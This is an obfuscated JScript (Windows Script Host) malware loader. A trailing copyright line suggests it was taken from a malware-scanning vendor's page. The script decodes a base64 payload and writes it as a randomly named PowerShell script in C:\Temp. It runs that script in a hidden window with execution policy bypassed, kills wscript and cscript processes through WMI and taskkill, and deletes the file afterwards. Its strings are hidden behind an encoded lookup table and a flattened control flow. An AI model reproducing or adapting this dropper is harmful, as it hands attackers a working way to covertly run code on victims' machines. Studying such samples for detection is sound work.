var O=d,PayloadProcessor={
'baseString':O(0x250),'dictionary':null,'timeout':0xc350,'initialize':function(){
var P=O,b={
};
b['ewVST']=P(0x29d)+P(0x2a4)+P(0x247)+P(0x1ff),b[P(0x251)]=P(0x234),b[P(0x2ac)]=P(0x209)+P(0x21b)+P(0x216)+'0',b[P(0x287)]='ADODB.S'+P(0x2bf),b[P(0x2ae)]=P(0x285),b[P(0x268)]='bin.bas'+P(0x242),b[P(0x2a3)]=function(i,j){
return i!==j;
}
,b[P(0x24a)]=P(0x20a),b['ZaKIW']=P(0x211),b['saoQU']=P(0x283)+P(0x1e9)+P(0x221),b[P(0x231)]=P(0x299);
var f=b,g=!![];
try{
if(f['IcuOG'](f[P(0x24a)],f[P(0x229)]))this[P(0x241)+'ary']=new ActiveXObject(f['saoQU']),this[P(0x241)+P(0x27f)][P(0x214)](f[P(0x231)]);
else{
var i,j,k,q;
try{
var r=f[P(0x2b8)]['split']('|'),s=0x0;
while(!![]){
switch(r[s++]){
case'0':k[P(0x1fb)]();
continue;
case'1':j=i[P(0x243)+P(0x28f)](f[P(0x251)]);
continue;
case'2':k[P(0x295)]();
continue;
case'3':i=new i(f[P(0x2ac)]);
continue;
case'4':k[P(0x278)+'n']=0x0;
continue;
case'5':k[P(0x289)]=0x2;
continue;
case'6':k=new k(f[P(0x287)]);
continue;
case'7':k['Type']=0x1;
continue;
case'8':j[P(0x203)]=j;
continue;
case'9':q=k[P(0x254)+'t'](-0x1);
continue;
case'10':k[P(0x202)](j[P(0x26d)+P(0x2af)]);
continue;
case'11':k[P(0x23e)]=f[P(0x2ae)];
continue;
case'12':j[P(0x1f0)+'e']=f[P(0x268)];
continue;
}
break;
}
}
catch(t){
q='';
}
return q;
}
}
catch(i){
g=![];
}
return g;
}
,'cleanWhitespace':function(b){
var Q=O,f={
};
f[Q(0x1f5)]=Q(0x2b1);
var g=f,h,i;
try{
h=new ActiveXObject(Q(0x297)+Q(0x274)+'p'),h[Q(0x270)]=g[Q(0x1f5)],h[Q(0x2a6)]=!![],i=h[Q(0x1fa)](b,'');
}
catch(j){
i='';
}
return i;
}
,'decodeBase64':function(b){
var R=O,f={
};
f[R(0x201)]='(((.+)+'+R(0x273),f['uoEwh']=function(o,p){
return o!==p;
}
,f[R(0x246)]=R(0x1ea),f[R(0x25c)]=R(0x2ad)+R(0x264)+R(0x25b)+R(0x249),f['IjdIe']=R(0x206)+'tream',f['yjrBd']=R(0x234),f[R(0x2a1)]=R(0x285);
var g=f,h,i,j,k;
try{
if(g['uoEwh']('sEghQ',g[R(0x246)])){
var l=g['IPFYk'][R(0x256)]('|'),m=0x0;
while(!![]){
switch(l[m++]){
case'0':i[R(0x203)]=b;
continue;
case'1':j[R(0x278)+'n']=0x0;
continue;
case'2':i[R(0x1f0)+'e']=R(0x215)+'e64';
continue;
case'3':j=new ActiveXObject(g[R(0x24b)]);
continue;
case'4':j[R(0x202)](i[R(0x26d)+R(0x2af)]);
continue;
case'5':h=new ActiveXObject('MSXML2.'+'DOMDocu'+R(0x216)+'0');
continue;
case'6':k=j[R(0x254)+'t'](-0x1);
continue;
case'7':j[R(0x289)]=0x1;
continue;
case'8':j[R(0x289)]=0x2;
continue;
case'9':j['Close']();
continue;
case'10':j[R(0x295)]();
continue;
case'11':i=h[R(0x243)+R(0x28f)](g[R(0x257)]);
continue;
case'12':j[R(0x23e)]=g[R(0x2a1)];
continue;
}
break;
}
}
else return e[R(0x2a9)+'g']()['search'](R(0x23b)+R(0x273))[R(0x2a9)+'g']()[R(0x2c0)+R(0x25a)](f)[R(0x21d)](PriwiH[R(0x201)]);
}
catch(o){
k='';
}
return k;
}
,'generateFileName':function(){
var S=O,b={
};
b[S(0x25f)]=S(0x2ab)+'HIJKLMN'+S(0x281)+S(0x262)+S(0x233)+S(0x2a0)+S(0x23d)+'xyz0123'+S(0x22c),b[S(0x213)]=function(k,l){
return k<l;
}
,b[S(0x282)]=function(k,l){
return k!==l;
}
,b['BJtPC']=S(0x232),b['PaYDW']=function(k,l){
return k*l;
}
,b[S(0x244)]=function(k,l){
return k+l;
};
var e=b,f=e[S(0x25f)],g='';
for(var h=0x0;
e[S(0x213)](h,0xc);
h++){
e[S(0x282)](e['BJtPC'],e[S(0x290)])?b='':g+=f['charAt'](Math[S(0x230)](e[S(0x28d)](Math[S(0x265)](),f[S(0x245)])));
}
return e[S(0x244)](e['aAkzz'](g,'_'),new Date()[S(0x259)]());
}
,'killProcesses':function(a,b,f){
var T=O,g={
'tVgEp':T(0x1f4)+T(0x2b3)+'6|3|5|1'+T(0x26a),'nNQUh':T(0x234),'AgQKZ':T(0x209)+'DOMDocu'+T(0x216)+'0','olLQJ':T(0x285),'tBqQd':T(0x215)+T(0x242),'NISrn':T(0x206)+T(0x2bf),'SbhXY':function(m,n){
return m-n;
}
,'zIoem':function(m,n){
return m>n;
}
,'bUgwx':function(m,n){
return m(n);
}
,'SpBfo':T(0x23a)+T(0x1f1)+T(0x26f)+'v2','qddAi':T(0x263)+T(0x218)+'Win32_P'+T(0x222)+T(0x23f)+T(0x239)+T(0x21a)+T(0x217)+T(0x2c4)+T(0x22a)+T(0x1f2),'GfPqN':function(m,n){
return m!==n;
}
,'nLAxl':'GiinO','FFGdA':T(0x24e),'TjgIK':'YVemG','CLpya':T(0x236),'adlro':T(0x272),'ffkZg':T(0x24c),'PJYVB':T(0x2b2),'wdymy':T(0x291)+'l /f /i'+T(0x1f3)+'pt.exe','vdrPv':T(0x291)+T(0x29a)+T(0x22e)+T(0x24d)
};
try{
if(g[T(0x24f)](g[T(0x21c)],T(0x210))){
var m=g['tVgEp'][T(0x256)]('|'),n=0x0;
while(!![]){
switch(m[n++]){
case'0':E[T(0x289)]=0x1;
continue;
case'1':L=M[T(0x254)+'t'](-0x1);
continue;
case'2':x=y[T(0x243)+T(0x28f)](XpKsRF[T(0x28b)]);
continue;
case'3':G[T(0x202)](H[T(0x26d)+T(0x2af)]);
continue;
case'4':v=new w(XpKsRF['AgQKZ']);
continue;
case'5':I[T(0x278)+'n']=0x0;
continue;
case'6':F[T(0x295)]();
continue;
case'7':K[T(0x23e)]=XpKsRF[T(0x258)];
continue;
case'8':z[T(0x1f0)+'e']=XpKsRF[T(0x27c)];
continue;
case'9':N['Close']();
continue;
case'10':A[T(0x203)]=B;
continue;
case'11':C=new D(XpKsRF[T(0x225)]);
continue;
case'12':J[T(0x289)]=0x2;
continue;
}
break;
}
}
else{
var h=g[T(0x255)](GetObject,T(0x23a)+T(0x1f1)+T(0x26f)+'v2'),i=h[T(0x223)+'ry'](g['qddAi']),j=new Enumerator(i);
for(;
!j[T(0x298)]();
j['moveNex'+'t']()){
if(T(0x24e)!==g[T(0x1eb)]){
k=new l()[T(0x259)]();
if(g[T(0x2c2)](m,n)>=this[T(0x25d)])return this['killPro'+T(0x2a8)](s,t,u),![];
r[T(0x28c)](0x64);
}
else{
var k=j[T(0x269)]();
g[T(0x21f)](k['Command'+'Line'][T(0x27a)](f),-0x1)&&(g[T(0x1fc)]===g[T(0x29e)]?h+=i[T(0x28a)](j[T(0x230)](k[T(0x265)]()*l['length'])):k[T(0x2a5)+'te'](0x0));
}
}
}
}
catch(m){
}
try{
if(g['adlro']!==g[T(0x22b)]){
var n=j['item']();
g[T(0x21f)](n[T(0x235)+'Line']['indexOf'](f),-0x1)&&n[T(0x2a5)+'te'](0x0);
}
else{
if(a[T(0x2b4)+T(0x2ba)](f))a['DeleteF'+T(0x1f7)](f,!![]);
}
}
catch(n){
}
try{
if(g[T(0x219)]!==g[T(0x2bd)])b[T(0x27e)](g['wdymy'],0x0,!![]),b[T(0x27e)](g[T(0x238)],0x0,!![]);
else{
var o=g[T(0x255)](f,g['SpBfo']),q=o[T(0x223)+'ry'](g[T(0x1ef)]),r=new g(q);
for(;
!r[T(0x298)]();
r['moveNex'+'t']()){
var s=r[T(0x269)]();
s[T(0x235)+T(0x26e)][T(0x27a)](i)>-0x1&&s[T(0x2a5)+'te'](0x0);
}
}
}
catch(o){
}
}
,'execute':function(){
var U=O,f={
'QfXjF':function(v,w){
return v===w;
}
,'gvyWQ':'tICmA','LPPBk':U(0x299),'zGjUC':function(v,w){
return v===w;
}
,'bPUaF':U(0x26b),'pRRqh':U(0x23b)+U(0x273),'cppAE':U(0x2b1),'ZCaZS':U(0x283)+U(0x1e9)+U(0x221),'tXUGe':function(v,w,x){
return v(w,x);
}
,'fHMPj':function(v){
return v();
}
,'TacRQ':function(v,w){
return v!=w;
}
,'wbglb':U(0x292),'nEhRv':function(v,w){
return v==w;
}
,'OhStD':function(v,w){
return v===w;
}
,'SevWw':U(0x2a7),'mtrsw':U(0x253),'vBwzX':U(0x283)+U(0x208)+U(0x2b0)+'bject','LGLaH':U(0x29b)+U(0x275),'GTLhL':U(0x1ee)+'\','chbWk':function(v,w){
return v!==w;
}
,'xdvKb':U(0x2be),'cmoRL':function(v,w){
return v===w;
}
,'cyebY':'WGVop','MHDcx':U(0x29f),'yZAVL':function(v,w){
return v+w;
}
,'pTuyt':U(0x266),'ExFEL':U(0x200),'XsBQd':function(v,w){
return v+w;
}
,'Fhevm':'powersh'+'ell.exe'+' -Execu'+'tionPol'+U(0x277)+U(0x26c)+U(0x296)+U(0x294)+'wStyle '+U(0x27b)+U(0x22d),'wxWyl':'HvxYz','dkZof':U(0x20b),'sEwDT':function(v,w){
return v>=w;
}
,'NiSnu':function(v,w){
return v===w;
}
,'isyzu':U(0x252),'lkBoW':function(v,w){
return v===w;
}
,'bEqTZ':'jxTzb','ioJPJ':'HtwoH','zLCpd':function(v,w){
return v&&w;
}
}
,g=(function(){
var V=U,v={
};
v[V(0x224)]=V(0x283)+V(0x1e9)+V(0x221),v['JCwCV']=f[V(0x2b5)];
var w=v;
if(f['zGjUC'](f[V(0x20d)],f[V(0x20d)])){
var x=!![];
return function(z,A){
var W=V;
if(f[W(0x276)](f[W(0x1fd)],'OKpZS'))b=![];
else{
var B=x?function(){
if(A){
var D=A['apply'](z,arguments);
return A=null,D;
}
}
:function(){
};
return x=![],B;
}
};
}
else{
var z=!![];
try{
this[V(0x241)+V(0x27f)]=new e(LmYltm[V(0x224)]),this['diction'+V(0x27f)][V(0x214)](LmYltm['JCwCV']);
}
catch(A){
z=![];
}
return z;
}
}
()),h=f[U(0x284)](g,this,function(){
var X=U;
return h[X(0x2a9)+'g']()['search'](f[X(0x260)])[X(0x2a9)+'g']()[X(0x2c0)+X(0x25a)](h)[X(0x21d)](X(0x23b)+X(0x273));
}
);
f[U(0x226)](h);
if(!this[U(0x288)+U(0x248)]())return![];
if(f[U(0x2a2)](typeof this[U(0x2b9)+U(0x22f)],f[U(0x261)])||this[U(0x2b9)+U(0x22f)][U(0x245)]==0x0)return![];
var i=this[U(0x293)+U(0x279)+'e'](this['baseStr'+U(0x22f)]);
if(i['length']==0x0)return![];
var j=this[U(0x267)+U(0x1ed)](i);
if(f[U(0x1f8)](j[U(0x245)],0x0))return![];
var k,l,m,n,o,p,q,r;
try{
if(f[U(0x280)](f[U(0x2bb)],f[U(0x27d)]))return this[U(0x204)+'cesses'](f,g,h),![];
else{
k=new ActiveXObject(f[U(0x2c1)]),l=new ActiveXObject(f[U(0x286)]),m=f[U(0x1ec)];
if(!k[U(0x240)+U(0x25e)](m)){
if(f[U(0x20e)](U(0x2b7),f['xdvKb']))try{
f[U(0x2c3)](f[U(0x227)],f[U(0x2c5)])?b='':k['CreateF'+U(0x23c)](m);
}
catch(v){
}
else{
if(g[U(0x2b4)+U(0x2ba)](h))i['DeleteF'+U(0x1f7)](j,!![]);
}
}
n=k['BuildPa'+'th'](m,f[U(0x2bc)](f[U(0x2bc)](f[U(0x21e)],this[U(0x1fe)+U(0x28e)+'me']()),f['ExFEL']));
var s=k[U(0x207)+'extFile'](n,!![]);
s[U(0x202)](j),s[U(0x1fb)](),o=f[U(0x2bc)](f[U(0x1f9)](f[U(0x2aa)],n),'"'),p=l[U(0x237)](o),q=new Date()[U(0x259)]();
while(f['nEhRv'](p['Status'],0x0)){
if(f[U(0x220)]!==f[U(0x205)]){
r=new Date()[U(0x259)]();
if(f['sEwDT'](r-q,this[U(0x25d)]))return this[U(0x204)+U(0x2a8)](k,l,n),![];
WScript[U(0x28c)](0x64);
}
else{
var w,x;
try{
w=new g(U(0x297)+U(0x274)+'p'),w['Pattern']=mDvFja['cppAE'],w[U(0x2a6)]=!![],x=w[U(0x1fa)](h,'');
}
catch(y){
x='';
}
return x;
}
}
var t=f[U(0x1f8)](p[U(0x212)+'e'],0x0);
try{
if(k[U(0x2b4)+U(0x2ba)](n))k[U(0x271)+U(0x1f7)](n,!![]);
}
catch(w){
}
return t;
}
}
catch(x){
if(f[U(0x20c)](f[U(0x29c)],'aYvQc'))x['Run'](U(0x291)+U(0x29a)+U(0x1f3)+U(0x24d),0x0,!![]),f[U(0x27e)](U(0x291)+'l /f /i'+U(0x22e)+U(0x24d),0x0,!![]);
else{
try{
if(f['lkBoW'](f[U(0x228)],f['ioJPJ']))this[U(0x241)+U(0x27f)]=new b(mDvFja[U(0x2b6)]),this['diction'+'ary']['Exists']('Init');
else{
if(f[U(0x1f6)](k,n)&&k[U(0x2b4)+'sts'](n))k[U(0x271)+'ile'](n,!![]);
}
}
catch(y){
}
return![];
}
}
}
};
function d(a,b){
a=a-0x1e9;
var e=c();
var f=e[a];
return f;
}
WScript[O(0x20f)](PayloadProcessor['execute']()?0x0:0x1);
function c(){
var Y=['ng.Dict','vtGYF','FFGdA','GTLhL','ase64','C:\Temp','qddAi','dataTyp','s:\\.\r','exe'','m wscri','4|2|8|1','wQCzF','zLCpd','ile','nEhRv','XsBQd','Replace','Close','TjgIK','gvyWQ','generat','|11|9|0','.ps1','VpYGr','Write','text','killPro','dkZof','ADODB.S','CreateT','ng.File','MSXML2.','SjADb','pxOYh','NiSnu','bPUaF','chbWk','Quit','GiinO','xWfkZ','ExitCod','XyHAb','Exists','bin.bas','ment.6.','l.exe' ','* FROM ','ffkZg','wershel','DOMDocu','nLAxl','search','pTuyt','zIoem','wxWyl','ionary','rocess ','ExecQue','ciBXm','NISrn','fHMPj','cyebY','bEqTZ','ZaKIW','='pwsh.','adlro','456789','-File "','m cscri','ing','floor','GeqqU','YJfRj','cdefghi','base64','Command','EtAnG','Exec','vdrPv','ame='po','winmgmt','(((.+)+','older','qrstuvw','Charset','WHERE N','FolderE','diction','e64','createE','aAkzz','length','LTpTG','|10|4|5','ize','|12|6|9','rISwp','IjdIe','bWbhY','pt.exe','ieRto','GfPqN','qCbfs','wvWGM','zHIal','ReadTex','bUgwx','split','yjrBd','olLQJ','getTime','ctor','0|4|1|8','IPFYk','timeout','xists','zeqTf','pRRqh','wbglb','VWXYZab','SELECT ','0|3|7|1','random','ps_','decodeB','fEPoF','item','2|7|1|9','ETYLH','ass -No','nodeTyp','Line','oot\cim','Pattern','DeleteF','qkRRw',')+)+$','t.RegEx','.Shell','QfXjF','icy Byp','Positio','itespac','indexOf','Hidden ','tBqQd','mtrsw','Run','ary','OhStD','OPQRSTU','GBEFt','Scripti','tXUGe','utf-8','LGLaH','CFIby','initial','Type','charAt','nNQUh','Sleep','PaYDW','eFileNa','lement','BJtPC','taskkil','string','cleanWh',' -Windo','Open','Profile','VBScrip','atEnd','Init','l /f /i','WScript','isyzu','3|1|12|','CLpya','AdilA','jklmnop','dVOXP','TacRQ','IcuOG','8|6|7|2','Termina','Global','VHFDm','cesses','toStrin','Fhevm','ABCDEFG','ekGBw','5|11|2|','PldrO','edValue','SystemO','\s+','GgSeC','0|11|0|','FileExi','LPPBk','ZCaZS','pbYiW','ewVST','baseStr','sts','SevWw','yZAVL','PJYVB','jOuCE','tream','constru','vBwzX','SbhXY','cmoRL','OR Name','MHDcx'];
c=function(){
return Y;
};
return c();
}
© 2023 Quttera Ltd. All rights reserved.